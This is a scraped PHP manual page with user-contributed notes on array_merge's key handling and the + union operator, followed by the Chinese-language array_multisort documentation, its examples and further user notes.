$arr2 = array('12345' => 'ddd', '35' => 'xxx');
var_dump(array_merge($arr1, $arr2));
?>
result:
array(3) {
  ["1234567898765432123456789"]=>
  string(2) "dd"
  ["123456789876543212345678"]=>
  string(3) "ddd"
  [0]=>
  string(3) "xxx"
}
array(3) {
  [0]=>
  string(2) "dd"
  [1]=>
  string(3) "ddd"
  [2]=>
  string(3) "xxx"
}
alejandro dot anv at gmail dot com 20-Feb-2012 11:26
WARNING: numeric subindexes are lost when merging arrays.

Check this example:

$a=array('abc'=>'abc','def'=>'def','123'=>'123','xyz'=>'xyz');
echo "a=";print_r($a);
$b=array('xxx'=>'xxx');
echo "b=";print_r($b);
$c=array_merge($a,$b);
echo "c=";print_r($c);

The result is this:

c=Array
(
    [abc] => abc
    [def] => def
    [0] => 123
    [xyz] => xyz
    [xxx] => xxx
)
w_barath at hotmail dot com 04-Oct-2011 04:42
I keep seeing posts for people looking for a function to replace numeric keys.

No function is required for this, it is default behavior if the + operator:

<?php
$a=array(1=>"one", "two"=>2);
$b=array(1=>"two", "two"=>1, 3=>"three", "four"=>4);

print_r($a+$b);
?>

Array
(
    [1] => one
    [two] => 2
    [3] => three
    [four] => 4
)

How this works:

The + operator only adds unique keys to the resulting array.  By making the replacements the first argument, they naturally always replace the keys from the second argument, numeric or not! =)
craig ala craigatx.com 26-Oct-2010 10:25
Reiterating the notes about casting to arrays, be sure to cast if one of the arrays might be null:

<?php
header("Content-type:text/plain");
$a = array('zzzz', 'xxxx');
$b = array('mmmm','nnnn');

echo "1 ==============\r\n";
print_r(array_merge($a, $b));

echo "2 ==============\r\n";
$b = array();
print_r(array_merge($a, $b));

echo "3 ==============\r\n";
$b = null;
print_r(array_merge($a, $b));

echo "4 ==============\r\n";
$b = null;
print_r(array_merge($a, (array)$b));

echo "5 ==============\r\n";
echo is_null(array_merge($a, $b)) ? 'Result is null' : 'Result is not null';
?>

Produces:

1 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
    [2] => mmmm
    [3] => nnnn
)
2 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
)
3 ==============
4 ==============
Array
(
    [0] => zzzz
    [1] => xxxx
)
5 ==============
Result is null
zagadka at evorg dot dk 20-Aug-2010 05:54
Note that if you use + to merge array in order to preserve keys, that in case of duplicates the values from the left array in the addition is used.
jpakin at gmail dot com 11-Jun-2010 11:46
I had a hard time using array_merge with large datasets. By the time my web framework was in memory there wasn't enough space to have multiple copies of my dataset. To fix this I had to remove any functions which operated on the data set and made a copy in memory (pass by value).

I realize the available memory to an application instance is modifiable, but I didn't think I should have to set it below the default 16mb for a web app!

Unfortunately, a number of php functions pass by value internally, so I had to write my own merge function. This passes by reference, utilizes a fast while loop (thus doesn't need to call count() to get an upper boundary, also a php pass by value culprit), and unsets the copy array (freeing memory as it goes).

<?php

function mergeArrays(&$sourceArray, &$copyArray){
        //merge copy array into source array
                $i = 0;
        while (isset($copyArray[$i])){
            $sourceArray[] = $copyArray[$i];
            unset($copyArray[$i]);
            $i++;
        }
    }
?>

This fixed the problem. I would love to know if there is an even faster, more efficient way. Simply adding the two arrays won't work since there is an overlap of index.
allankelly 02-Oct-2009 08:36
More on the union (+) operator:
the order of arrays is important and does not agree in my test below
with the other posts. The 'unique' operation preserves the initial key-value and discards later duplicates.

PHP 5.2.6-2ubuntu4.2

<?php
$a1=array('12345'=>'a', '23456'=>'b', '34567'=>'c', '45678'=>'d');
$a2=array('34567'=>'X');
$a3=$a1 + $a2;
$a4=$a2 + $a1;
print('a1:'); print_r($a1);
print('a2:'); print_r($a2);
print('a3:'); print_r($a3);
print('a4:'); print_r($a4);
?>

a1:Array
(
    [12345] => a
    [23456] => b
    [34567] => c
    [45678] => d
)
a2:Array
(
    [34567] => X
)
a3:Array
(
    [12345] => a
    [23456] => b
    [34567] => c
    [45678] => d
)
a4:Array
(
    [34567] => X
    [12345] => a
    [23456] => b
    [45678] => d
)
Tudor 27-Sep-2009 01:10
array_merge will merge numeric keys in array iteration order, not in increasing numeric order. For example:

<?php
$a = array(0=>10, 1=>20);  // same as array(10, 20);
$b = array(0=>30, 2=>50, 1=>40);
?>

array_merge($a, $b) will be array(10, 20, 30, 50, 40) and not array(10, 20, 30, 40, 50).
Julian Egelstaff 16-Aug-2009 01:02
More about the union operator (+)...

The "array_unique" that gets applied, is actually based on the keys, not the values.  So if you have multiple values with the same key, only the last one will be preserved.

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[0] = 0;
$array1[1] = 1;

$array3 = $array1 + $array2;

// array3 will look like:
// array(0=>0, 1=>1)
// ie: beware of the latter keys overwriting the former keys

?>
Julian Egelstaff 30-Jul-2009 11:48
In some situations, the union operator ( + ) might be more useful to you than array_merge.  The array_merge function does not preserve numeric key values.  If you need to preserve the numeric keys, then using + will do that.

ie:

<?php

$array1[0] = "zero";
$array1[1] = "one";

$array2[1] = "one";
$array2[2] = "two";
$array2[3] = "three";

$array3 = $array1 + $array2;

//This will result in::

$array3 = array(0=>"zero", 1=>"one", 2=>"two", 3=>"three");

?>

Note the implicit "array_unique" that gets applied as well.  In some situations where your numeric keys matter, this behaviour could be useful, and better than array_merge.

--Julian
enaeseth at gmail dot com 20-Jul-2009 02:27
In both PHP 4 and 5, array_merge preserves references in array values. For example:

<?php
$foo = 12;
$array = array("foo" => &$foo);
$merged_array = array_merge($array, array("bar" => "baz"));
$merged_array["foo"] = 24;
assert($foo === 24); // works just fine
?>
carrox at inbox dot lv 31-Aug-2008 04:41
Usage of operand '+' for merging arrays:

<?php

$a=array(
'a'=>'a1',
'b'=>'a2',
'a3',
'a4',
'a5');

$b=array('b1',
'b2',
'a'=>'b3',
'b4');

$a+=$b;

print_r($a);

?>

output:
Array
(
    [a] => a1
    [b] => a2
    [0] => a3
    [1] => a4
    [2] => a5
    [3] => b5
)

numeric keys of elements of array B what not presented in array A was added.

<?php

$a=array('a'=>'a1','b'=>'a2','a3','a4','a5');
$b=array(100=>'b1','b2','a'=>'b3','b4');

$a+=$b;

print_r($a);

?>

output:

   [a] => a1
    [b] => a2
    [0] => a3
    [1] => a4
    [2] => a5
    [100] => b1
    [101] => b2
    [102] => b4

autoindex for array B started from 100, these keys not present in array A, so this elements was added to array A
ron at ronfolio dot com 11-Aug-2008 06:44
I needed a function similar to ian at fuzzygroove's array_interlace, but I need to pass more than two arrays.

Here's my version, You can pass any number of arrays and it will interlace and key them properly.

<?php
function array_interlace() {
    $args = func_get_args();
    $total = count($args);

    if($total < 2) {
        return FALSE;
    }

    $i = 0;
    $j = 0;
    $arr = array();

    foreach($args as $arg) {
        foreach($arg as $v) {
            $arr[$j] = $v;
            $j += $total;
        }

        $i++;
        $j = $i;
    }

    ksort($arr);
    return array_values($arr);
}
?>

Example usage:
<?php
$a = array('a', 'b', 'c', 'd');
$b = array('e', 'f', 'g');
$c = array('h', 'i', 'j');
$d = array('k', 'l', 'm', 'n', 'o');

print_r(array_interlace($a, $b, $c, $d));
?>

result:

Array
(
    [0] => a
    [1] => e
    [2] => h
    [3] => k
    [4] => b
    [5] => f
    [6] => i
    [7] => l
    [8] => c
    [9] => g
    [10] => j
    [11] => m
    [12] => d
    [13] => n
    [14] => o
)

Let me know if you improve on it.
david_douard at hotmail dot com 02-Jul-2008 02:41
To avoid REINDEXING issues,

use + operator :

array_merge(
          array("truc" => "salut"),
          array("machin" => "coucou")
        )

returns

array(2)
{
[0] => string() "salut"
[1] => string() "coucou"
}

whereas

array("truc" => "salut") + array("machin" => "coucou")

returns

array(2)
{
["truc"] => string() "salut"
["machin"] => string() "coucou"
}
bishop 04-Apr-2008 02:02
The documentation is a touch misleading when it says: "If only one array is given and the array is numerically indexed, the keys get reindexed in a continuous way."  Even with two arrays, the resulting array is re-indexed:

[bishop@predator staging]$ cat array_merge.php
<?php
$a = array (23 => 'Hello', '42' => 'World');
$a = array_merge(array (0 => 'I say, '), $a);
var_dump($a);
?>
[bishop@predator staging]$ php-5.2.5 array_merge.php
array(3) {
  [0]=>
  string(7) "I say, "
  [1]=>
  string(5) "Hello"
  [2]=>
  string(5) "World"
}
[bishop@predator staging]$ php-4.4.7 array_merge.php
array(3) {
  [0]=>
  string(7) "I say, "
  [1]=>
  string(5) "Hello"
  [2]=>
  string(5) "World"
}
no_one at nobody dot com 03-Mar-2008 08:31
PHP is wonderfully decides if an array key could be a number, it is a number!  And thus wipes out the key when you array merge.   Just a warning.

$array1['4000'] = 'Grade 1 Widgets';
$array1['4000a'] = 'Grade A Widgets';
$array2['5830'] = 'Grade 1 Thing-a-jigs';
$array2['HW39393'] = 'Some other widget';

var_dump($array1);
var_dump($array2);

//results in...
array(2) {
  [4000]=>
  string(15) "Grade 1 Widgets"
  ["4000a"]=>
  string(15) "Grade A Widgets"
}
array(2) {
  [5830]=>
  string(20) "Grade 1 Thing-a-jigs"
  ["HW39393"]=>
  string(17) "Some other widget"
}

var_dump(array_merge($array1,$array2));
//results in...
array(4) {
  [0]=>
  string(15) "Grade 1 Widgets"
  ["4000a"]=>
  string(15) "Grade A Widgets"
  [1]=>
  string(20) "Grade 1 Thing-a-jigs"
  ["HW39393"]=>
  string(17) "Some other widget"
}
Hayley Watson 04-Nov-2007 12:38
As has already been noted before, reindexing arrays is most cleanly performed by the array_values() function.
clancyhood at gmail dot com 21-Jul-2007 04:52
Similar to Jo I had a problem merging arrays (thanks for that Jo you kicked me out of my debugging slumber) - array_merge does NOT act like array_push, as I had anticipated

<?php

$array = array('1', 'hello');
array_push($array, 'world');

var_dump($array);

// gives '1', 'hello', 'world'

$array = array('1', 'hello');
array_merge($array, array('world'));

// gives '1', 'hello'

$array = array('1', 'hello');
$array = array_merge($array, array('world'));

// gives '1', 'hello', 'world'

?>

hope this helps someone
Joe at neosource dot com dot au 03-Jun-2007 11:51
I found the "simple" method of adding arrays behaves differently as described in the documentation in PHP v5.2.0-10.

$array1 + $array2 will only combine entries for keys that don't already exist.

Take the following example:

$ar1 = array('a', 'b');
$ar2 = array('c', 'd');
$ar3 = ($ar1 + $ar2);
print_r($ar3);

Result:

Array
(
    [0] => a
    [1] => b
)

Where as:

$ar1 = array('a', 'b');
$ar2 = array('c', 'd');
$ar3 = array_merge($ar1, $ar2);
print_r($ar3);

Result:

Array
(
    [0] => a
    [1] => b
    [2] => c
    [3] => d
)

Hope this helps someone.
RQuadling at GMail dot com 21-May-2007 05:05
For asteddy at tin dot it and others who are trying to merge arrays and keep the keys, don't forget the simple + operator.

Using the array_merge_keys() function (with a small mod to deal with multiple arguments), provides no difference in output as compared to +.

<?php
$a = array(-1 => 'minus 1');
$b = array(0 => 'nought');
$c = array(0 => 'nought');
var_export(array_merge_keys($a,$b));
var_export($a + $b);
var_export(array_merge_keys($a,$b,$c));
var_export($a + $b + $c);
?>

results in ...

array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
array (  -1 => 'minus 1',  0 => 'nought',)
Marce! 02-Mar-2007 04:21
I have been searching for an in-place merge function, but couldn't find one. This function merges two arrays, but leaves the order untouched.
Here it is for all others that want it:

function inplacemerge($a, $b) {
  $result = array();
  $i = $j = 0;
  if (count($a)==0) { return $b; }
  if (count($b)==0) { return $a; }
  while($i < count($a) && $j < count($b)){
    if ($a[$i] <= $b[$j]) {
      $result[] = $a[$i];
      if ($a[$i]==$b[$j]) { $j++; }
      $i++;
    } else {
      $result[] = $b[$j];
      $j++;
    }
  }
  while ($i<count($a)){
    $result[] = $a[$i];
    $i++;
  }
  while ($j<count($b)){
    $result[] = $b[$j];
    $j++;
  }
  return $result;
}
ahigerd at stratitec dot com 24-Jan-2007 06:06
An earlier comment mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
01-Nov-2006 06:47
A more efficient array_merge that preserves keys, truly accepts an arbitrary number of arguments, and saves space on the stack (non recursive):
<?php
function array_merge_keys(){
    $args = func_get_args();
    $result = array();
    foreach($args as &$array){
        foreach($array as $key=>&$value){
            $result[$key] = $value;
        }
    }
    return $result;
}
?>
BigueNique at yahoo dot ca 28-Sep-2006 07:10
Needed an quick array_merge clone that preserves the keys:

<?php
// function array_join
// merges 2 arrays preserving the keys,
// even if they are numeric (unlike array_merge)
// if 2 keys are identical, the last one overwites
// the existing one, just like array_merge
// merges up to 10 arrays, minimum 2.
function array_join($a1, $a2, $a3=null, $a4=null, $a5=null, $a6=null, $a7=null, $a8=null, $a9=null, $a10=null) {
    $a=array();
    foreach($a1 as $key=>$value) $a[$key]=$value;
    foreach($a2 as $key=>$value) $a[$key]=$value;
    if (is_array($a3)) $a=array_join($a,$a3,$a4,$a5,$a6,$a7,$a8,$a9,$a10);
    return $a;
}
?>
anonyme 20-Jul-2006 06:02
I don't think that the comment on + operator for array in array_merge page, was understandable, this is just a little test to know exactly what's happend.

<?php
//test code for (array)+(array) operator
$a1 = array( '10', '11' , '12' , 'a' => '1a', 'b' => '1b');
$a2 = array( '20', '21' , '22' , 'a' => '2a', 'c' => '2c');

$a = $a1 + $a2;
print_r( $a );
//result: Array ( [0] => 10
//                [1] => 11
//                [2] => 12
//                [a] => 1a
//                [b] => 1b
//                [c] => 2c )

$a = $a2 + $a1;
print_r( $a );
//result: Array ( [0] => 20
//                [1] => 21
//                [2] => 22
//                [a] => 2a
//                [c] => 2c
//                [b] => 1b )

?>
kaigillmann at gmxpro dot net 02-Nov-2005 03:56
If you need to merge two arrays without having multiple entries, try this:

<?php
function array_fusion($ArrayOne, $ArrayTwo)
{
    return array_unique(array_merge($ArrayOne, $ArrayTwo));
}
?>
php at moechofe dot com 20-Jul-2005 04:58
<?php

  /*
  * array_deep_merge
  *
  * array array_deep_merge ( array array1 [, array array2 [, array ...]] )
  *
  * Like array_merge
  *
  *   array_deep_merge() merges the elements of one or more arrays together so
  * that the values of one are appended to the end of the previous one. It
  * returns the resulting array.
  *   If the input arrays have the same string keys, then the later value for
  * that key will overwrite the previous one. If, however, the arrays contain
  * numeric keys, the later value will not overwrite the original value, but
  * will be appended.
  *   If only one array is given and the array is numerically indexed, the keys
  * get reindexed in a continuous way.
  *
  * Different from array_merge
  *   If string keys have arrays for values, these arrays will merge recursively.
  */
  function array_deep_merge()
  {
    switch( func_num_args() )
    {
      case 0 : return false; break;
      case 1 : return func_get_arg(0); break;
      case 2 :
        $args = func_get_args();
        $args[2] = array();
        if( is_array($args[0]) and is_array($args[1]) )
        {
          foreach( array_unique(array_merge(array_keys($args[0]),array_keys($args[1]))) as $key )
          if( is_string($key) and is_array($args[0][$key]) and is_array($args[1][$key]) )
            $args[2][$key] = array_deep_merge( $args[0][$key], $args[1][$key] );
          elseif( is_string($key) and isset($args[0][$key]) and isset($args[1][$key]) )
            $args[2][$key] = $args[1][$key];
          elseif( is_integer($key) and isset($args[0][$key]) and isset($args[1][$key]) ) {
            $args[2][] = $args[0][$key]; $args[2][] = $args[1][$key]; }
          elseif( is_integer($key) and isset($args[0][$key]) )
            $args[2][] = $args[0][$key];
          elseif( is_integer($key) and isset($args[1][$key]) )
            $args[2][] = $args[1][$key];
          elseif( ! isset($args[1][$key]) )
            $args[2][$key] = $args[0][$key];
          elseif( ! isset($args[0][$key]) )
            $args[2][$key] = $args[1][$key];
          return $args[2];
        }
        else return $args[1]; break;
      default :
        $args = func_get_args();
        $args[1] = array_deep_merge( $args[0], $args[1] );
        array_shift( $args );
        return call_user_func_array( 'array_deep_merge', $args );
        break;
    }
  }

  /*
  * test
  */
  $a = array(
    0,
    array( 0 ),
    'integer' => 123,
    'integer456_merge_with_integer444' => 456,
    'integer789_merge_with_array777' => 789,
    'array' => array( "string1", "string2" ),
    'array45_merge_with_array6789' => array( "string4", "string5" ),
    'arraykeyabc_merge_with_arraykeycd' => array( 'a' => "a", 'b' => "b", 'c' => "c" ),
    'array0_merge_with_integer3' => array( 0 ),
    'multiple_merge' => array( 1 ),
  );

  $b = array(
    'integer456_merge_with_integer444' => 444,
    'integer789_merge_with_array777' => array( 7,7,7 ),
    'array45_merge_with_array6789' => array( "string6", "string7", "string8", "string9" ),
    'arraykeyabc_merge_with_arraykeycd' => array( 'c' => "ccc", 'd' => "ddd" ),
    'array0_merge_with_integer3' => 3,
    'multiple_merge' => array( 2 ),
  );

  $c = array(
    'multiple_merge' => array( 3 ),
  );

  echo "<pre>".htmlentities(print_r( array_deep_merge( $a, $b, $c ), true))."</pre>";

?>
ntpt at centrum dot cz 14-Jul-2005 06:44
Old behavior of array_merge can be restored by simple  variable type casting like this

array_merge((array)$foo,(array)$bar);

works good in php 5.1.0 Beta 1, not tested in other versions

seems that empty or not set variables are casted to empty arrays
Alec Solway 20-Jan-2005 10:05
Note that if you put a number as a key in an array, it is eventually converted to an int even if you cast it to a string or put it in quotes.

That is:

$arr["0"] = "Test";
var_dump( key($arr) );

will output int(0).

This is important to note when merging because array_merge will append values with a clashing int-based index instead of replacing them. This kept me tied up for hours.
nospam at veganismus dot ch 11-Jan-2005 06:38
Someone posted a function with the note:
"if u need to overlay a array that holds defaultvalues with another that keeps the relevant data"

<?
//about twice as fast but the result is the same.
//note: the sorting will be messed up!
function array_overlay($skel, $arr) {
    return $arr+$skel;
}

//example:
$a = array("zero","one","two");
$a = array_overlay($a,array(1=>"alpha",2=>NULL));
var_dump($a);
/* NULL is ignored so the output is:
array(3) {
  [1]=>
  string(5) "alpha"
  [0]=>
  string(4) "zero"
  [2]=>
  string(3) "two"
}
*/
?>
Frederick.Lemasson{AT}kik-it.com 23-Dec-2004 02:57
if you generate form select from an array, you probably want to keep your array keys and order intact,
if so you can use ArrayMergeKeepKeys(), works just like array_merge :

array ArrayMergeKeepKeys ( array array1 [, array array2 [, array ...]])

but keeps the keys even if of numeric kind.
enjoy

<?

$Default[0]='Select Something please';

$Data[147]='potato';
$Data[258]='banana';
$Data[54]='tomato';

$A=array_merge($Default,$Data);

$B=ArrayMergeKeepKeys($Default,$Data);

echo '<pre>';
print_r($A);
print_r($B);
echo '</pre>';

Function ArrayMergeKeepKeys() {
      $arg_list = func_get_args();
      foreach((array)$arg_list as $arg){
          foreach((array)$arg as $K => $V){
              $Zoo[$K]=$V;
          }
      }
    return $Zoo;
}

//will output :

Array
(
    [0] => Select Something please
    [1] => potato
    [2] => banana
    [3] => tomato
)
Array
(
    [0] => Select Something please
    [147] => potato
    [258] => banana
    [54] => tomato
)

?>
bcraigie at bigfoot dot com 24-Aug-2004 12:37
It would seem that array_merge doesn't do anything when one array is empty (unset):

<?php //$a is unset
$b = array("1" => "x");

$a = array_merge($a, $b});

//$a is still unset.
?>

to fix this omit $a if it is unset:-

<?php
if(!IsSet($a)) {
    $a = array_merge($b);
} else {
  $a = array_merge($a, $b);
}
?>

I don't know if there's a better way.
frankb at fbis dot net 25-Feb-2004 04:02
to merge arrays and preserve the key i found the following working with php 4.3.1:

<?php
$array1 = array(1 => "Test1", 2 => "Test2");
$array2 = array(3 => "Test3", 4 => "Test4");

$array1 += $array2;
?>

dont know if this is working with other php versions but it is a simple and fast way to solve that problem.
loner at psknet dot !NOSPAM!com 29-Sep-2003 03:00
I got tripped up for a few days when I tried to merge a (previously serialized) array into a object. If it doesn't make sense, think about it... To someone fairly new, it could... Anyway, here is what I did:
(It's obviously not recursive, but easy to make that way)
<?php
function array_object_merge(&$object, $array) {
    foreach ($array as $key => $value)
        $object->{$key} = $value;
}
?>

Simple problem, but concevibly easy to get stuck on.
03-Sep-2003 03:10
For those who are getting duplicate entries when using this function, there is a very easy solution:

wrap array_unique() around array_merge()

cheers,

k.
tobias_mik at hotmail dot com 25-Jul-2003 05:14
This function merges any number of arrays and maintains the keys:

<?php
function array_kmerge ($array) {
 reset($array);
 while ($tmp = each($array))
 {
  if(count($tmp['value']) > 0)
  {
   $k[$tmp['key']] = array_keys($tmp['value']);
   $v[$tmp['key']] = array_values($tmp['value']);
  }
 }
 while($tmp = each($k))
 {
  for ($i = $start; $i < $start+count($tmp['value']); $i ++)$r[$tmp['value'][$i-$start]] = $v[$tmp['key']][$i-$start];
  $start = count($tmp['value']);
 }
 return $r;
}
?>


对多个数组或多维数组进行排序

  • ? array_merge
  • array_pad ?
  • PHP Manual
  • 数组 函数
  • 对多个数组或多维数组进行排序

array_multisort

(PHP 4, PHP 5, PHP 7)

array_multisort — 对多个数组或多维数组进行排序

说明

array_multisort ( array &$array1 [, mixed $array1_sort_order = SORT_ASC [, mixed $array1_sort_flags = SORT_REGULAR [, mixed $... ]]] ) : bool

array_multisort() 可以用来一次对多个数组进行排序，或者根据某一维或多维对多维数组进行排序。

关联（string）键名保持不变，但数字键名会被重新索引。

Note:

If two members compare as equal, their relative order in the sorted array is undefined.

参数

array1

要排序的 array。

array1_sort_order

之前 array 参数要排列的顺序。 SORT_ASC 按照上升顺序排序， SORT_DESC 按照下降顺序排序。

此参数可以和 array1_sort_flags 互换，也可以完全删除，默认是 SORT_ASC 。

array1_sort_flags

为 array 参数设定选项：

排序类型标志：

  • SORT_REGULAR - 将项目按照通常方法比较（不修改类型）
  • SORT_NUMERIC - 按照数字大小比较
  • SORT_STRING - 按照字符串比较
  • SORT_LOCALE_STRING - 根据当前的本地化设置，按照字符串比较。 它会使用 locale 信息，可以通过 setlocale() 修改此信息。
  • SORT_NATURAL - 以字符串的"自然排序"，类似 natsort()
  • SORT_FLAG_CASE - 可以组合 (按位或 OR) SORT_STRING 或者 SORT_NATURAL 大小写不敏感的方式排序字符串。

参数可以和 array1_sort_order 交换或者省略，默认情况下是 SORT_REGULAR。

...

可选的选项，可提供更多数组，跟随在 sort order 和 sort flag 之后。 提供的数组和之前的数组要有相同数量的元素。 换言之，排序是按字典顺序排列的。

返回值

成功时返回 TRUE， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
5.4.0 | array1_sort_flags 增加 SORT_NATURAL 和 SORT_FLAG_CASE 选项。
5.3.0 | array1_sort_flags 增加选项 SORT_LOCALE_STRING。

范例

Example #1 多个数组排序

<?php
$ar1 = array(10, 100, 100, 0);
$ar2 = array(1, 3, 2, 4);
array_multisort($ar1, $ar2);

var_dump($ar1);
var_dump($ar2);
?>

这个例子里，排序后，第一个数组会包含 0、 10、 100、 100。 第二个数组会包含 4、1、 2、 3。 第二个数组里的项目对应第一个数组后也进行了排序（100 和 100）。

array(4) {
  [0]=> int(0)
  [1]=> int(10)
  [2]=> int(100)
  [3]=> int(100)
}
array(4) {
  [0]=> int(4)
  [1]=> int(1)
  [2]=> int(2)
  [3]=> int(3)
}

Example #2 排序多维数组

<?php
$ar = array(
       array("10", 11, 100, 100, "a"),
       array(   1,  2, "2",   3,   1)
      );
array_multisort($ar[0], SORT_ASC, SORT_STRING,
                $ar[1], SORT_NUMERIC, SORT_DESC);
var_dump($ar);
?>

本例中在排序后，第一个数组将变成 "10"，100，100，11，"a"（被当作字符串以升序排列）。第二个数组将包含 1, 3, "2", 2, 1（被当作数字以降序排列）。

array(2) {
  [0]=> array(5) {
    [0]=> string(2) "10"
    [1]=> int(100)
    [2]=> int(100)
    [3]=> int(11)
    [4]=> string(1) "a"
  }
  [1]=> array(5) {
    [0]=> int(1)
    [1]=> int(3)
    [2]=> string(1) "2"
    [3]=> int(2)
    [4]=> int(1)
  }
}

Example #3 对数据库结果进行排序

本例中 data 数组中的每个单元表示一个表中的一行。这是典型的数据库记录的数据集合。

例子中的数据如下：

volume | edition
-------+--------
    67 |       2
    86 |       1
    85 |       6
    98 |       2
    86 |       6
    67 |       7

数据全都存放在名为 data 的数组中。这通常是通过循环从数据库取得的结果，例如 mysql_fetch_assoc()。

<?php
$data[] = array('volume' => 67, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 1);
$data[] = array('volume' => 85, 'edition' => 6);
$data[] = array('volume' => 98, 'edition' => 2);
$data[] = array('volume' => 86, 'edition' => 6);
$data[] = array('volume' => 67, 'edition' => 7);
?>

本例中将把 volume 降序排列，把 edition 升序排列。

现在有了包含有行的数组，但是 array_multisort() 需要一个包含列的数组，因此用以下代码来取得列，然后排序。

<?php
// 取得列的列表
foreach ($data as $key => $row) {
    $volume[$key]  = $row['volume'];
    $edition[$key] = $row['edition'];
}

// 将数据根据 volume 降序排列，根据 edition 升序排列
// 把 $data 作为最后一个参数，以通用键排序
array_multisort($volume, SORT_DESC, $edition, SORT_ASC, $data);
?>

数据集合现在排好序了，结果如下：

volume | edition
-------+--------
    98 |       2
    86 |       1
    86 |       6
    85 |       6
    67 |       2
    67 |       7

Example #4 不区分大小写字母排序

SORT_STRING 和 SORT_REGULAR 都是区分大小写字母的，大写字母会排在小写字母之前。

要进行不区分大小写的排序，就要按照原数组的小写字母拷贝来排序。

<?php
$array = array('Alpha', 'atomic', 'Beta', 'bank');
$array_lowercase = array_map('strtolower', $array);

array_multisort($array_lowercase, SORT_ASC, SORT_STRING, $array);

print_r($array);
?>

以上例程会输出：

Array
(
    [0] => Alpha
    [1] => atomic
    [2] => bank
    [3] => Beta
)

参见

  • usort() - 使用用户自定义的比较函数对数组中的值进行排序
  • 数组排序函数对比

User Contributed Notes

qasastechnology at gmail dot com 13-Feb-2019 09:48
Case insensitive sorting
To perform a case insensitive sort

$array = [
     [
       'name' => 'b',
       'label' => 'ball'
    ],
     [
       'name' => 'a',
       'label' => 'apple'
    ],
     [
       'name' => 'l',
       'label' => 'Lighting'
    ],
     [
       'name' => 'w',
       'label' => 'With'
    ]

];

public function sortArray($array) {

        if (count($array)) {
            array_multisort(array_map(function($element) {
                return strtolower($element['label']);
            }, $array), SORT_ASC, $array);
        }

        return $array;
    }
Hayley Watson 09-Jul-2018 01:12
Thin wrapper around array_multisort() so that, when sorting an array of associative arrays, you can specify the columns to sort on by their name, instead of having to pull them out as explicit arrays. Note that you can sort on numerically-indexed columns too, provided you cast the index to a string first (otherwise they'll get confused with the SORT_* constants).

<?php
function array_multisort_by_column(&$array, ...$spec)
{
    return array_multisort($array, ...array_map(function($s)use($array)
    {
        return is_string($s) ? array_column($array, $s) : $s;
    }, $spec));
}
?>
ArkieGuy 10-Jan-2018 04:02
<?php

/**
 *  array_multisort wrapper function -- Sorts Data array on array of Keys
 *
 *  $data : This is the multidiminsional array to sort
 *  $keys : An array of arrays holding "Key" field names and optional Order / flags
 *
 *  Example:  $keys[2] = [ 'Animal', SORT_DESC, SORT_REGULAR | SORT_FLAG_CASE ];
 *            $keys[1] = [ 'Name' ];
 *
 *  Syntax:   if( multiSort( $data, $keys ) ) print_r( $data );
 *
 *  Returns TRUE on success or FALSE on failure.
 */
function multiSort( &$data, $keys ) {

  // Sort the Keys - this allows for passing in the key array out of order
  ksort( $keys );

  //  Walk Keys array building arguments to pass to call_user_function
  //  (must be indexed 0-n with n being the data to sort)
  foreach( $keys as $key ) {
    //  Walk through the list of key parameters
    foreach( $key as $element => $value )
        if( $element == 0 )
            //  Add an array containing the column values for the named $data column
            $args[] = array_column( $data, $value );
        else
            //  Add the inetger value passed in for the order / flags
            //  NOTE: if you try to send a string value (like from an INI) to
            //        array_multisort for sort_order or sort_flags, you get
            //        "Argument #x is expected to be an array or a sort flag".
            //        Casting to int solves this issue
            $args[] = (int)$value;
  }

  //  Add the array to be sorted to the arg list
  $args[] = &$data;

  //  Call array_multisort to sort the array in keys order
  return( call_user_func_array( 'array_multisort', $args ) );
}

/* Example */

echo "<PRE>";

//  Data array (can be associative array or you can use column number)
$data = [
  ['Name' => 'Brown', 'Animal' => 'Dog'],
  ['Name' => 'Smith', 'Animal' => 'Cat'],
  ['Name' => 'Jones', 'Animal' => 'Dog'],
  ['Name' => 'Jones', 'Animal' => 'Pig'],
  ['Name' => 'Bennett', 'Animal' => 'Cat'],
  ['Name' => 'Astor', 'Animal' => 'Cat'],
  ['Name' => 'Jones', 'Animal' => 'Cat'],
];

//  Array containing "keys" - each key is the name of the column and
//    optionally a sort order and / or  sort flags
//  Will sort by Name and then Animal because the keys array is key sorted
//    before it's used.
$keys[2] = [ 'Animal', SORT_DESC, SORT_REGULAR | SORT_FLAG_CASE ];
$keys[1] = [ 'Name' ];

//call the wrapper function
if( ! multiSort( $data, $keys ) )
    die( 'Sort Failed' );

print_r( $data );
?>
walterquez at gmail dot com 03-Jan-2018 06:11
To sort a simple multi dimensional array, use the array itself as the modifier. This will sort based on the first column. No need to write a custom function.

$data = array(
    array('volume' => 67, 'edition' => 2),
    array('volume' => 86, 'edition' => 1),
    array('volume' => 85, 'edition' => 6),
    array('volume' => 98, 'edition' => 2),
    array('volume' => 86, 'edition' => 6),
    array('volume' => 67, 'edition' => 7)
)

array_multisort($data, $data);
faugeron dot loic at gmail dot com 17-May-2016 07:14
Improving Example #3 (Sorting database results): using <?php array_column ?> (PHP >= 5.5) and <?php call_user_func_array ?> it becomes possible to build your sortings (sorting by one or many fields):

<?php

$data = [
    [
        'id' => '168ac7f8-c918-4e99-90ee-5d7590fe61ce',
        'name' => 'Arthur Dent',
    ],
    [
        'id' => 'e3ad45ee-7cae-4cca-bd7b-2eb6b57b6457',
        'name' => 'Ford Prefect',
    ],
    [
        'id' => 'a426aef2-19e2-412a-8339-5458cf6ae416',
        'name' => 'Trillian Astra',
    ],
];
$sortings = [
    [
        'field' => 'id',
        'direction' => SORT_DESC,
    ],
];

$args = [];
$key = 0;
foreach ($sortings as $sorting) {
    $args[$key] = array_column($data, $sorting['field']);
    $args[$key + 1] = $sorting['direction'];
    $key += 2;
}
$args[] = $data;
call_user_func_array('array_multisort', $args);

// $data is now sorted by ID in descending order.
?>
matt at bosc dot io 05-May-2016 09:02
